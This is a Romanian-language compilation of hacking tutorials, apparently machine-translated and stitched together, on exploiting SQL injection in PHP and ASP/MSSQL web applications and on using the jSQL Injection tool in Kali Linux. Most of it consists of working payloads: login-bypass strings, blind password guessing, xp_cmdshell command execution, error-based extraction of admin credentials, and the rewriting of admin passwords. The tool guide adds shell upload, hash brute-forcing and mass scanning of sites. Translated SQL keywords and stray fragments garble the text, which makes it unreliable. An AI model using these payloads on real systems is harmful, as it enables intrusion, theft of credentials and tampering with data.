Descărcați programul de căutare sql injection. Instrucțiuni pentru utilizarea jSQL Injection, un instrument multifuncțional pentru găsirea și exploatarea injecțiilor SQL în Kali Linux. Operațiuni cu fișiere după detectarea injecției SQL

Injecție SQL o ocazie destul de bună pentru un hacker
acces la server. Și cu puțin efort, el
inca intelege :)

Codificator înăuntru

În zilele noastre, este acceptată lucrul cu baze de date
aproape toate limbajele de programare, acestea includ BASIC, C++, Java, PERL, PHP, Assembler și chiar JavaScript! Și aceste programe nu se numesc nimic mai mult decât DBMS - sisteme de gestionare a bazelor de date. Bazele de date sunt adesea folosite pentru a rezolva probleme financiare,
contabilitate, organizarea personalului, dar și-au găsit aplicația și pe Internet.

Bazele de date sunt adesea folosite pentru a scrie aplicații WEB. Utilizarea lor este cea mai potrivită pentru stocarea datelor de înregistrare a utilizatorilor, identificatorii de sesiune, organizarea căutărilor, precum și pentru alte sarcini care necesită mai multă prelucrare
cantitatea de date. Pentru accesarea bazei de date se folosesc tehnologii server: PHP, PERL, ASP etc. Aici începe distracția. Când pe server
toate patch-urile sunt instalate și firewall-ul blochează toate porturile, cu excepția portului 80 sau când este necesară autentificarea pentru a accesa anumite date, un hacker poate folosi SQL Injection pentru a pirata. Esența acestui atac este exploatarea unei erori la intersecția dintre tehnologiile WEB și SQL. Faptul este că multe pagini web pentru prelucrarea datelor utilizatorilor formează o specialitate SQL cererea bazei de date. Folosirea neglijentă a acestei tehnici poate duce la rezultate destul de interesante...

Injecție SQL

Pentru a explica atacul, să ne imaginăm că ați mers pe site să descărcați un instrument foarte important și să observați cu groază că doar un utilizator înregistrat poate face acest lucru, iar înregistrarea, desigur, costă bani :) Nu vrei să dai ultimii tai bani castigati, dar nu o poti face fara program! Este timpul să ne amintim cum
accesează baze de date SQL. De exemplu, verificarea login-ului și a parolei în PHP poate arăta astfel:

$result=mysql_db_query($db,"SELECT * FROM $table WHERE user="$login" AND
pass="$parolă"");
$num_rows=mysql_num_rows($rezultat);
mysql_close($link);
dacă ($num_rows!=0)
{
// AUTENTICARE OK
}
altfel
{
// EROARE DE AUTENTIFICARE
}

Am adăugat două comentarii, „AUTENTICARE OK” – în schimb ar trebui
mergeți la codul care va fi executat dacă parola și autentificarea sunt corecte. O altă „EROARE DE AUTENTICARE” este un loc în care va fi descris codul care va fi executat dacă sunt incorecte. Dacă completați formularul, cererea va arăta ca „http://www.server.com?login=user&password=31337”, unde www.server.com este numele
serverul la care încercăm să ne conectăm. Am găsit ceea ce căutăm și, prin urmare, ne vom întoarce din nou la muncă SQL. Deci, dacă trebuie să specificați o autentificare și o parolă pentru autorizare, atunci este generată SQL cererea va arăta astfel:

SELECTAȚI * FROM utilizatori WHERE login="user" AND
parola="31337"

Aceasta înseamnă cam așa: returnați-mi toate înregistrările din baza de date a utilizatorilor a căror autentificare este „utilizator” și parolă este „31337”. Dacă există o astfel de înregistrare, atunci utilizatorul este înregistrat, dar dacă nu, atunci nu... Dar în anumite circumstanțe, totul poate fi corectat. Aceasta se referă la situația în care aplicația nu verifică conținutul datelor transmise sau nu le verifică complet pentru prezență SQL instrucțiuni. În acest exemplu, sunt verificate două câmpuri autentificare și parolă, dar dacă specificați „31337” ȘI email=" ca parolă [email protected]„(fără ghilimele duble), atunci interogarea se va dovedi puțin diferită:

SELECTAȚI * FROM utilizatori WHERE login="user" AND password="31337" AND
email=" [email protected]"

Și dacă câmpul de e-mail există, se va verifica și această condiție. Dacă vă amintiți elementele de bază ale algebrei booleene, vă vine în minte că, pe lângă operațiunea „și”, există și un „sau” și, deoarece utilizarea lor este acceptată de SQL, puteți
în modul descris, adăugați o condiție care returnează întotdeauna adevărată. Pentru a face acest lucru, trebuie să specificați „utilizator” SAU 1=1-- ca login, caz în care cererea va lua forma:

SELECTAȚI * FROM utilizatori WHERE login="user" SAU 1=1--" ȘI
parola="31337"

În primul rând, trebuie să știți că „--” înseamnă sfârșitul cererii și totul după „--”
nu vor fi procesate! Se pare că am făcut o cerere:

SELECTAȚI * FROM utilizatori WHERE login="user" SAU 1=1

După cum puteți vedea, am adăugat condiția „1=1”, ceea ce înseamnă că criteriul de verificare va fi „dacă autentificarea este „utilizator” sau 1=1”, dar 1 este întotdeauna egal cu 1 (singura excepție poate fi aritmetica lui Dani Shepovalov :)). Pentru a ne verifica suspiciunile
Introdu „http://www.server.com?login=user sau 1=1--&password=31337” în bara de adrese. Acest lucru duce la faptul că nu contează ce autentificare am specificat, dar
mai ales parola! Și suntem în matrice, în sistem și putem descărca cu calm ceea ce avem nevoie.

Dar totul este în teorie. În practică, nu știm cum se formează cererea, ce date sunt transmise și în ce secvență. Prin urmare, trebuie să specificați „utilizator” SAU 1=1--” pentru toate câmpurile. Ar trebui, de asemenea, să verificați formularul de trimitere pentru câmpurile ascunse. În HTML, acestea sunt descrise ca „ ". Dacă există, salvați pagina și modificați valorile acestor câmpuri. Valorile conținute în ele sunt adesea uitate să fie verificate pentru prezența instrucțiunilor SQL. Dar pentru ca totul să funcționeze, ar trebui să specificați întregul calea către script în forma (eticheta „FORM”) pentru parametrul „ACTION”, care procesează această solicitare.

Dar nu se știe întotdeauna cum se formează cererea,
Exemplul anterior ar putea fi format în următoarele moduri:

SELECTAȚI * FROM utilizatorii WHERE (login="user" AND password="31337")
SELECTAȚI * FROM utilizatori WHERE login="user" AND password="31337"
SELECTAȚI * FROM utilizatori WHERE login=user AND password=31337

În acest caz, puteți încerca următoarele opțiuni:

„SAU 1=1--
„SAU 1=1--
SAU 1=1--
" SAU "a"="a
" SAU "a"="a
") SAU ("a"="a
SAU "1"="1"

Totul depinde de scopul scriptului și de programator. Deoarece fiecare persoană tinde să facă totul în felul său, este foarte posibil ca programatorul să nu aleagă cea mai ușoară opțiune. Prin urmare, nu ar trebui imediat
renunta daca esti respins. Necesar
incearca cat mai multe variante...

Detectarea parolei

Ocolirea autorizației nu este rea, dar de foarte multe ori gaura pe care o utilizați este închisă și se pierde tot ceea ce era la dispoziție.
Acest lucru este de așteptat dacă programatorul nu este un prost
În timp, va închide toate lacunele. Puteți scăpa cu ușurință de astfel de situații, îngrijindu-vă în prealabil. Soluția corectă poate fi să ghiciți parola folosind
analiza rezultatelor autentificarii. Mai întâi, să încercăm să ghicim parola, pentru a face acest lucru, introduceți locația acesteia:

„SAU parola>”a

Dacă ni se spune că autorizația a fost dată, atunci parola
nu începe cu litera „a”, ci cu una dintre următoarele de pe listă. Să mergem mai departe și să înlocuim
locul „a”, următorul „b”, „c”, „d”, „e”... etc. până când ne spun că parola nu este corectă. Lăsați acest proces să se oprească la caracterul „x”, în acest caz sunt create două opțiuni pentru dezvoltarea situației: parola este găsită sau parola începe cu acest caracter. Pentru a verifica prima opțiune, scrieți locația parolei:

"SAU parola="x

iar dacă parola este acceptată și ai voie să intri, atunci ai ghicit parola! Ei bine, nu, atunci ar trebui să selectați al doilea caracter,
exact la fel, de la inceput. Verificați dacă există două caractere
nevoie la fel. În final, vei primi o parolă și vei căuta un login în același mod :)
Dacă parola și autentificarea găsite nu vă convin, puteți găsi altele. Pentru a face acest lucru, trebuie să începeți verificarea de la ultimul caracter al parolei găsite. Deci, dacă parola a fost „xxx” este necesar să se verifice existența parolei
"xxxy":

"SAU parola="xxx

pentru a nu rata mai multe variante!

MS SQL Server

MS SQL Server este, în general, o mană divină dacă se omite filtrarea necesară. Folosind vulnerabilitatea SQL Injection, puteți executa
comenzi pe serverul de la distanță folosind exec master..xp_cmdshell. Dar pentru a folosi acest design
operaţiunea SELECT trebuie finalizată. În SQL, instrucțiunile sunt separate prin punct și virgulă. Prin urmare, pentru a vă conecta la un IP prin Telnet, trebuie să introduceți parola/login:

"; exec master..xp_cmdshell "telnet 192.168.0.1" --

MS SQL Server are mai multe caracteristici interesante care vă permit să aflați date de conectare și parole stocate în baza de date. Pentru a face acest lucru, ieșirea erorii este redirecționată către un server arbitrar și prin intermediul acestora
analiză, puteți afla numele tabelului, câmpurile și tipurile acestora. Dupa care puteti solicita

" UNION SELECT TOP 1 autentificare FROM utilizatori--

(login este numele câmpului care conține datele de conectare, iar utilizatorii este numele tabelului,
semi-oameni de știință în procesul de analiză a erorilor).

Răspunsul ar putea fi:


Eroare de sintaxă la conversia valorii nvarchar „admin" to a column of data type int. !}
/default.asp, linia 27

Acum știm că există un utilizator numit „admin”. Acum îi putem obține parola:

" UNION SELECT TOP 1 parola FROM utilizatorii unde login="admin"--

Rezultat:

Eroare „80040e07” a furnizorului Microsoft OLE DB pentru driverele ODBC
Eroare de sintaxă la conversia valorii nvarchar „xxx" to a column of data type int. !}
/tedault.asp, linia 27

Acum știm că există un utilizator „admin” cu o parolă „xxx”. Cu asta poți în siguranță
folosește-l și conectează-te la sistem 😉

Dar există multe alte funcții pentru a lucra cu SQL,
Când lucrați cu o bază de date, puteți, de asemenea, să ștergeți date, să le modificați, să le introduceți pe ale dvs. și chiar să manipulați fișiere și să lucrați cu registry.
În general, regulile SQL Server :)

Protecţie

Dar, desigur, toate acestea pot fi evitate. Pentru a face asta poți
utilizați filtre,
furnizate de producatori. Puteți găsi propriile soluții, de exemplu, înlocuind toate singurele
ghilimele duble (dacă pt SQL cereți să folosim unul singur), sau invers. Puteți permite utilizarea literelor și a s@baki numai dacă trebuie să intrați
Adresa de e-mail. Și în perla există un uimitor
funcția 🙂 quote() din modulul DBI::DBD, care face interogarea în siguranță în ceea ce privește SQL. Sunt multe soluții, ai nevoie doar de ele
a profita de. Altfel, de ce atunci toate astea...

Injecție SQL pentru manechin, hacking ASP+MSSQL

Alexandru Antipov

Acest articol nu conține adevăruri noi; injecția SQL este descrisă pe scară largă și folosită peste tot. Articolul este destinat mai mult începătorilor, dar poate profesioniștii vor putea găsi unul sau două trucuri noi.


Acest articol are scopul de a ajuta începătorii să facă față problemelor pe care le pot întâmpina atunci când folosesc tehnica SQL Injection, să o folosească cu succes și să se poată proteja de astfel de atacuri.

Introducere

Când serverul de interes are doar portul 80 deschis, iar scanerul de vulnerabilități nu poate raporta nimic interesant și știți că administratorul de sistem instalează întotdeauna foarte repede toate patch-urile pe serverul web, ultima noastră șansă este hacking-ul web. Injecția SQL este unul dintre tipurile de hacking web care utilizează doar portul 80 și poate funcționa chiar dacă patch-urile sunt instalate în timp util. Acest atac vizează mai mult aplicațiile web (cum ar fi ASP, JSP, PHP, CGI etc.) decât direct către serverul web sau serviciile din sistemul de operare.

Acest articol nu conține adevăruri noi; injecția SQL este descrisă pe scară largă și folosită peste tot. Articolul este destinat mai mult începătorilor, dar poate profesioniștii vor putea găsi unul sau două trucuri noi. De asemenea, recomand să consultați linkurile de la sfârșitul articolului pentru informații mai detaliate de la experții în domeniu.

1.1 Ce este SQL Injection?

SQL Injection este o metodă concepută pentru a injecta interogări/comenzi SQL prin pagini web. Multe pagini web folosesc parametrii prezentați utilizatorilor web și fac o interogare SQL în baza de date. Să luăm de exemplu cazul unui login de utilizator, când există o pagină web cu nume și parolă și se face o interogare SQL în baza de date pentru a verifica dacă există un utilizator înregistrat cu acel nume și parolă. Folosind SQL Injection, este posibil să trimitem un câmp inventat de nume de utilizator și/sau parolă care modifică interogarea SQL, ceea ce ne poate oferi câteva lucruri interesante.

2.0 Ce ar trebui să căutăm

Încercați să găsiți pagini care vă solicită date, cum ar fi pagina de căutare, pagina de discuții etc. Uneori, paginile html folosesc metoda POST pentru a trimite comenzi către o altă pagină web. În acest caz, nu veți vedea parametrii în adresa URL. Cu toate acestea, în acest caz, puteți căuta eticheta „FORM” în codul sursă HTML al paginilor. Veți găsi așa ceva:



Toți parametrii între

Și
ar putea fi vulnerabil la injectarea SQL.

2.1 Ce se întâmplă dacă nu găsiți o pagină care folosește introducerea?

Căutați pagini precum ASP, JSP, CGI sau pagini web PHP. Încercați să găsiți pagini care folosesc parametri precum:

3.0. Cum pot verifica dacă ceea ce am găsit este vulnerabil?

Încercați să începeți cu un singur ghilibat. Introduceți următorul rând:

salut" sau 1=1--

în câmpul nume de utilizator sau parolă sau chiar în parametrul URL. Exemplu:

Conectare: salut" sau 1=1--
Pass: salut" sau 1=1--
http://duck/index.asp?id=hi" sau 1=1--

Dacă ați făcut acest lucru cu un câmp ascuns, descărcați codul HTML original, salvați-l pe hard disk, modificați URL-ul și câmpul ascuns în consecință. Exemplu:



Dacă norocul este de partea ta, te vei putea autentifica fără nume de utilizator sau parolă.

3.1 Dar de ce " sau 1=1--?

Să ne uităm la un alt exemplu care explică utilitatea construcției „ sau 1=1--. Pe lângă ocolirea înregistrării, putem analiza și informații suplimentare care de obicei nu sunt disponibile. Luați în considerare o pagină asp care trimite către o altă pagină cu următorul URL:

http://duck/index.asp?category=food

Într-o adresă URL, „categorie” este numele variabilei, iar „aliment” este valoarea atribuită acelei variabile. Pentru a face acest lucru, pagina asp poate conține următorul cod:

v_cat = cerere ("categorie")
sqlstr="SELECT * FROM produs WHERE PCategory="" & v_cat & """
set rs=conn.execute(sqlstr)

După cum puteți vedea, variabila noastră va fi combinată cu v_cat și astfel interogarea SQL ar trebui să devină:

SELECTAȚI * FROM produs WHERE PCategory="food"

Această interogare trebuie să returneze un set care să conțină unul sau mai multe rânduri care se potrivesc cu clauza WHERE, în acest caz „aliment”. Acum să schimbăm adresa URL după cum urmează:

http://duck/index.asp?category=food" sau 1=1--
SELECTAȚI * FROM produs WHERE PCategory="alimentare" sau 1=1--‘

Această interogare va returna toate rândurile din tabelul de produse, indiferent dacă Pcategory este „aliment” sau nu. Cratita dublă „-” îi spune MS SQL Server să ignore restul interogării care urmează ghilimele simple („). Uneori puteți înlocui liniuța dublă cu un „#” ascuțit.

Cu toate acestea, dacă utilizați un server non-SQL sau nu puteți ignora restul interogării, încercați:

" sau "a"="a

Acum interogarea SQL va deveni:

SELECTAȚI * FROM produs WHERE PCategory="food" sau "a"="a"

Această interogare va returna același rezultat.

În funcție de interogarea SQL reală, poate fi necesar să încercați unele dintre aceste posibilități:

„sau 1=1--
„sau 1=1--
sau 1=1--
" sau "a"="a
" sau "a"="a
") sau ("a"="a

4.0 Cum pot executa comenzi de la distanță folosind injecția SQL?

Capacitatea de a introduce o comandă SQL înseamnă de obicei că putem executa interogări SQL după bunul plac. Instalarea implicită a MS SQL Server rulează cu drepturi de sistem. Putem apela proceduri încorporate precum master..xp_cmdshell pentru a executa de la distanță comenzi arbitrare:

"; exec master..xp_cmdshell "ping 10.10.1.2" --

Încercați să utilizați ghilimele (") dacă (") nu funcționează.

Punctul și virgulă va încheia interogarea SQL curentă și vă va permite să rulați noi comenzi SQL. Pentru a verifica dacă comanda a avut succes, puteți verifica pachetele ICMP din 10.10.1.2 pentru a vedea dacă conțin pachete de la serverul vulnerabil:

http://site/?ID=31610

Dacă nu primiți nicio solicitare ping de la server și primiți un mesaj de eroare care indică o eroare de permisiune, este posibil ca administratorul să fi restricționat accesul utilizatorului Web la procedurile stocate.

5.0 Cum obțin rezultatele interogării mele SQL?

Puteți folosi sp_makewebtask pentru a vă scrie cererea în HTML:

"; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"

IP-ul specificat trebuie să aibă un folder „partajare” cu acces pentru Toți.

6.0 Cum să preluați date dintr-o bază de date folosind mesaje de eroare ODBC?

Putem folosi informațiile din mesajul de eroare produs de serverul SQL pentru a prelua orice date. De exemplu, luați în considerare următoarea pagină:

http://duck/index.asp?id=10

Acum vom încerca să concatenăm întregul „10” cu un alt rând din baza de date:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

Tabelul de sistem INFORMATION_SCHEMA.TABLES conține informații din toate tabelele de pe server.

Câmpul TABLE_NAME conține evident numele fiecărui tabel din baza de date. A fost ales pentru că știm că există întotdeauna. Cererea noastră:

SELECTAȚI TOP 1 TABLE_NAME DIN INFORMATION_SCHEMA.TABLES--

Această interogare va returna prenumele din baza de date. Când UNIONĂM această valoare șir la numărul întreg 10, MS SQL Server va încerca să convertească șirul nvarchar într-un număr întreg. Acest lucru va genera o eroare care spune că nu poate converti nvarchar în int. Serverul va arunca următoarea eroare:


Eroare de sintaxă la conversia valorii nvarchar „table1" to a column of data type int. !}
/index.asp, linia 5

Mesajul de eroare conține informații despre o valoare care nu poate fi convertită într-un număr întreg. În acest caz, am primit numele primului tabel - "table1".

Pentru a obține următorul nume de tabel, putem folosi următoarea interogare:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NU ÎN ("table1")--

De asemenea, putem căuta date folosind tasta LIKE:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE „%25login%25”--

Eroare „80040e07” a furnizorului Microsoft OLE DB pentru driverele ODBC Eroare de sintaxă la conversia valorii nvarchar „admin_login" to a column of data type int. !} /index.asp, linia 5

Construcția corespunzătoare „%25login%25” va fi înlocuită cu %login% în serverul SQL. În acest caz, vom obține numele tabelului care se potrivește cu criteriul „admin_login”.

6.1 Cum pot afla toate numele coloanelor dintr-un tabel?

Putem folosi tabelul INFORMATION_SCHEMA.COLUMNS pentru a afișa toate numele coloanelor din tabel:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="admin_login"-

Eroare „80040e07” a furnizorului Microsoft OLE DB pentru driverele ODBC
Eroare de sintaxă la conversia valorii nvarchar „login_id" to a column of data type int. !}
/index.asp, linia 5

Acum că știm numele primei coloane, putem folosi NOT IN() pentru a obține următorul nume de coloană:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="admin_login" WHERE COLUMN_NAME NU IN ("login_id")-

Eroare „80040e07” a furnizorului Microsoft OLE DB pentru driverele ODBC
Eroare de sintaxă la conversia valorii nvarchar „login_name" to a column of data type int. !}
/index.asp, linia 5

Continuând, vom obține restul numelor de coloane, de exemplu. „parolă”, „detalii” până când obținem următoarea eroare.

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="admin_login" WHERE COLUMN_NAME NU IN ("login_id","login_name","parola",detalii")--

Eroare „80040e14” a furnizorului Microsoft OLE DB pentru driverele ODBC
Elementele ORDER BY trebuie să apară în lista de selectare dacă instrucțiunea conține un operator UNION.
/index.asp, linia 5

6.2. Cum obținem datele de care avem nevoie?

Acum că am identificat câteva tabele importante, putem folosi aceeași tehnică pentru a prelua informații din baza de date.

Să obținem primul nume_login din tabelul „admin_login”:

http://duck/index.asp?id=10 UNION SELECT TOP 1 nume_login FROM admin_login--

Eroare „80040e07” a furnizorului Microsoft OLE DB pentru driverele ODBC
Eroare de sintaxă la conversia valorii nvarchar „neo" to a column of data type int. !}
/index.asp, linia 5

Acum știm că există un utilizator admin cu numele de conectare „neo”. În sfârșit putem obține parola „neo”:

http://duck/index.asp?id=10 UNION SELECT TOP 1 parola FROM admin_login unde login_name="neo"--

Eroare „80040e07” a furnizorului Microsoft OLE DB pentru driverele ODBC
Eroare de sintaxă la conversia valorii nvarchar „m4trix" to a column of data type int. !}
/index.asp, linia 5

Acum ne vom putea autentifica ca „neo” cu parola „m4trix”.

6.3 Cum se obține valoarea numerică a unui șir?

Există o limitare în metoda descrisă mai sus. Nu vom putea primi un mesaj de eroare dacă încercăm să convertim text care constă dintr-un număr (doar caractere între 0...9). Acum vom descrie obținerea parolei „31173” de la utilizatorul „trinity”:

http://duck/index.asp?id=10 UNION SELECT TOP 1 parola FROM admin_login unde login_name="trinity"--

Probabil vom primi o eroare „Pagină nu a fost găsită”. Motivul este că parola „31173” va fi convertită într-un număr, înainte de UNION cu un număr întreg (în cazul nostru 10). Deoarece expresia UNION este corectă, serverul SQL nu va genera un mesaj de eroare și astfel nu vom putea obține o înregistrare numerică.

Pentru a rezolva această problemă, putem adăuga un șir numeric la sfârșit cu câteva litere pentru a preveni conversia. Cerere modificată:

http://duck/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b"%20morpheus") FROM admin_login unde login_name="trinity"--

Pur și simplu folosim semnul plus (+) pentru a adăuga parola cu orice text (codare ASSCII pentru „+” = 0x2b). Apoi, vom adăuga „%20morpheus” la sfârșitul parolei reale. Deci, chiar dacă valoarea parolei este „31173”, aceasta va deveni „31173 morpheus”. Apelând manual funcția convert() care încearcă să convertească „31173 morpheus” într-un număr întreg, SQL Server va afișa un mesaj de eroare ODBC:

Eroare „80040e07” a furnizorului Microsoft OLE DB pentru driverele ODBC
Eroare de sintaxă la conversia valorii nvarchar „31173 morpheus" to a column of data type int. !}
/index.asp, linia 5

Acum ne vom putea autentifica ca „trinity” cu parola „31173”.

7.0 Cum se modifică/se inserează date în baza de date?

Odată ce avem numele tuturor după coloană din tabel, putem actualizați (UPDATE) sau chiar introduceți (INSERT) o nouă înregistrare în tabel. De exemplu, putem schimba parola pentru „neo”:

http://duck/index.asp?id=10; UPDATE „admin_login” SET „parola” = „newpas5” WHERE login_name="neo--

Pentru a INSERA o înregistrare nouă în baza de date:

http://duck/index.asp?id=10; INSERT INTO „admin_login” („login_id”, „login_name”, „parolă”, „detalii”) VALORI (666,"neo2","newpas5","NA")--

Acum ne vom putea autentifica ca „neo” cu parola „newpas5”.

8.0 Cum să evitați injectarea SQL?

Filtrați caracterele speciale în toate rândurile din:

Orice date introduse de utilizator
- Parametri URL
- Cookie

Pentru valori numerice, convertiți-le în întregi înainte de a le trece la interogarea SQL. Sau utilizați ISNUMERIC pentru a vă asigura că este un număr întreg.

Rulați SQL Server ca utilizator neprivilegiat.

Eliminați procedurile stocate neutilizate: master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask

Rulați fișierul descărcat făcând dublu clic (trebuie să aveți o mașină virtuală).

3. Anonimitatea la verificarea unui site pentru injectare SQL

Configurarea Tor și Privoxy în Kali Linux

[Secțiune în curs de dezvoltare]

Configurarea Tor și Privoxy pe Windows

[Secțiune în curs de dezvoltare]

Setări proxy în jSQL Injection

[Secțiune în curs de dezvoltare]

4. Verificarea site-ului pentru injectare SQL cu jSQL Injection

Lucrul cu programul este extrem de simplu. Doar introduceți adresa site-ului web și apăsați ENTER.

Următoarea captură de ecran arată că site-ul este vulnerabil la trei tipuri de injecții SQL (informațiile despre acestea sunt indicate în colțul din dreapta jos). Făcând clic pe numele injecțiilor, puteți schimba metoda utilizată:

De asemenea, bazele de date existente ne-au fost deja afișate.

Puteți vizualiza conținutul fiecărui tabel:

De obicei, cel mai interesant lucru despre tabele sunt acreditările de administrator.

Dacă aveți noroc și găsiți datele administratorului, atunci este prea devreme să vă bucurați. Încă trebuie să găsiți panoul de administrare unde să introduceți aceste date.

5. Căutați panouri de administrare cu jSQL Injection

Pentru a face acest lucru, mergeți la următoarea filă. Aici suntem întâmpinați cu o listă de adrese posibile. Puteți selecta una sau mai multe pagini pentru a verifica:

Comoditatea constă în faptul că nu trebuie să utilizați alte programe.

Din păcate, nu există foarte mulți programatori neglijenți care stochează parolele în text clar. Destul de des în linia parolei vedem ceva de genul

8743b52063cd84097a65d1633f5c74f5

Acesta este un hash. Îl puteți decripta folosind forța brută. Și... jSQL Injection are un brute forcer încorporat.

6. Hash-uri de forță brută folosind jSQL Injection

Comoditatea incontestabilă este că nu trebuie să cauți alte programe. Există suport pentru multe dintre cele mai populare hashe-uri.

Aceasta nu este cea mai bună opțiune. Pentru a deveni un guru în decodarea hashurilor, este recomandată Cartea „” în rusă.

Dar, desigur, atunci când nu există alt program la îndemână sau nu există timp de studiat, jSQL Injection cu funcția de forță brută încorporată va fi foarte utilă.

Există setări: puteți seta ce caractere sunt incluse în parolă, intervalul de lungime a parolei.

7. Operațiuni cu fișiere după detectarea injecțiilor SQL

Pe lângă operațiunile cu baze de date - citirea și modificarea acestora, dacă sunt detectate injecții SQL, pot fi efectuate următoarele operațiuni cu fișiere:

  • citirea fișierelor de pe server
  • încărcarea fișierelor noi pe server
  • încărcarea shell-urilor pe server

Și toate acestea sunt implementate în jSQL Injection!

Există restricții - serverul SQL trebuie să aibă privilegii de fișier. Administratorii de sistem inteligent le au dezactivate și nu vor putea avea acces la sistemul de fișiere.

Prezența privilegiilor de fișier este destul de simplu de verificat. Accesați una dintre file (citirea fișierelor, crearea unui shell, încărcarea unui fișier nou) și încercați să efectuați una dintre operațiunile specificate.

O altă notă foarte importantă - trebuie să știm calea absolută exactă către fișierul cu care vom lucra - altfel nimic nu va funcționa.

Uită-te la următoarea captură de ecran:

La orice încercare de a opera asupra unui fișier, primim următorul răspuns: Niciun privilegiu FILE(fără privilegii de fișier). Și nu se poate face nimic aici.

Dacă în schimb aveți o altă eroare:

Problemă la scrierea în [nume_director]

Aceasta înseamnă că ați specificat incorect calea absolută în care doriți să scrieți fișierul.

Pentru a ghici o cale absolută, trebuie să cunoașteți cel puțin sistemul de operare pe care rulează serverul. Pentru a face acest lucru, treceți la fila Rețea.

O astfel de înregistrare (linia Win64) ne dă motive să presupunem că avem de-a face cu sistemul de operare Windows:

Keep-Alive: timeout=5, max=99 Server: Apache/2.4.17 (Win64) PHP/7.0.0RC6 Conexiune: Keep-Alive Metoda: HTTP/1.1 200 OK Lungime conținut: 353 Data: Vineri, 11 Dec 2015 11:48:31 GMT X-Powered-By: PHP/7.0.0RC6 Tip de conținut: text/html; set de caractere=UTF-8

Aici avem câteva Unix (*BSD, Linux):

Codificare transfer: fragmentat Data: vineri, 11 decembrie 2015 11:57:02 GMT Metoda: HTTP/1.1 200 OK Keep-Alive: timeout=3, max=100 Conexiune: keep-alive Tip de conținut: text/html X- Produs de: PHP/5.3.29 Server: Apache/2.2.31 (Unix)

Și aici avem CentOS:

Metodă: HTTP/1.1 200 OK Expiră: Joi, 19 Nov 1981 08:52:00 GMT Set-Cookie: PHPSESSID=9p60gtunrv7g41iurr814h9rd0; path=/ Conexiune: keep-alive X-Cache-Lookup: MISS de la t1.hoster.ru:6666 Server: Apache/2.2.15 (CentOS) X-Powered-By: PHP/5.4.37 X-Cache: MISS de la t1.hoster.ru Cache-Control: fără stocare, fără cache, revalidare obligatorie, post-verificare=0, pre-verificare=0 Pragma: fără cache Data: vineri, 11 decembrie 2015 12:08:54 GMT Transfer-Encoding: chunked Content-Type: text/html; set de caractere=WINDOWS-1251

Pe Windows, un folder tipic pentru site-uri este C:\Server\date\htdocs\. Dar, de fapt, dacă cineva „s-a gândit” să facă un server pe Windows, atunci, foarte probabil, această persoană nu a auzit nimic despre privilegii. Prin urmare, ar trebui să începeți să încercați direct din directorul C:/Windows/:

După cum puteți vedea, totul a mers bine prima dată.

Dar shell-urile jSQL Injection în sine ridică îndoieli în mintea mea. Dacă aveți privilegii de fișier, atunci puteți încărca cu ușurință ceva cu o interfață web.

8. Verificarea în bloc a site-urilor pentru injecții SQL

Și chiar și această funcție este disponibilă în jSQL Injection. Totul este extrem de simplu - descărcați o listă de site-uri (pot fi importate dintr-un fișier), selectați-le pe cele pe care doriți să le verificați și faceți clic pe butonul corespunzător pentru a începe operația.

Concluzie din jSQL Injection

jSQL Injection este un instrument bun și puternic pentru căutarea și apoi utilizarea injecțiilor SQL găsite pe site-uri web. Avantajele sale neîndoielnice: ușurință în utilizare, funcții aferente încorporate. jSQL Injection poate fi cel mai bun prieten al începătorilor atunci când analizează site-uri web.

Printre neajunsuri, as remarca imposibilitatea editării bazelor de date (cel puțin nu am găsit această funcționalitate). Ca și în cazul tuturor instrumentelor GUI, unul dintre dezavantajele acestui program poate fi atribuit incapacității sale de a fi utilizat în scripturi. Cu toate acestea, este posibilă și o anumită automatizare în acest program - datorită funcției încorporate de scanare în masă a site-ului.

Programul jSQL Injection este mult mai convenabil de utilizat decât sqlmap. Dar sqlmap acceptă mai multe tipuri de injecții SQL, are opțiuni de lucru cu firewall-uri de fișiere și alte funcții.

Concluzie: jSQL Injection este cel mai bun prieten al unui hacker începător.

Ajutorul pentru acest program din Enciclopedia Kali Linux poate fi găsit pe această pagină: http://kali.tools/?p=706

Salutări, cititor. În ultimul timp, m-a interesat securitatea web și, într-o oarecare măsură, munca mea este legată de asta. Deoarece Din ce în ce mai des am început să observ subiecte pe diverse forumuri prin care le cer să arate cum funcționează totul, așa că am decis să scriu un articol. Articolul se va adresa celor care nu au întâlnit acest lucru, dar ar dori să învețe. Există relativ multe articole pe această temă pe Internet, dar pentru începători sunt puțin complicate. Voi încerca să descriu totul într-un limbaj clar și exemple detaliate.

Prefaţă

Pentru a înțelege acest articol, nu aveți nevoie de cunoștințe despre limbajul SQL, dar măcar de răbdare bună și puțin creier pentru memorare.

Cred că doar citirea articolului nu va fi suficientă, pentru că... avem nevoie de exemple vii - după cum știți, practica în procesul de memorare nu este niciodată de prisos. Prin urmare, vom scrie scripturi vulnerabile și vom pregăti despre ele.

Ce este injectarea SQL?
În termeni simpli, acesta este un atac asupra bazei de date, care vă va permite să efectuați o acțiune care nu a fost planificată de creatorul scriptului. Exemplu din viață:

Tatăl i-a scris într-o notă mamei sale să-i dea lui Vasya 100 de ruble și să le pună pe masă. Reluând acest lucru într-un limbaj SQL comic, obținem:
LUAȚI 100 DE RUBLE DIN PORTOfel și dă-le lui Vasya

Deoarece tatăl a scris prost bilețelul (scris de mână stângaci) și a lăsat-o pe masă, fratele lui Vasya, Petya, a văzut-o. Petya, fiind un hacker, a adăugat „OR Pete” acolo și rezultatul a fost următoarea solicitare:
LUAȚI 100 DE RUBLE DIN PORTOfel și DĂ-LE LUI Vasya SAU Petya

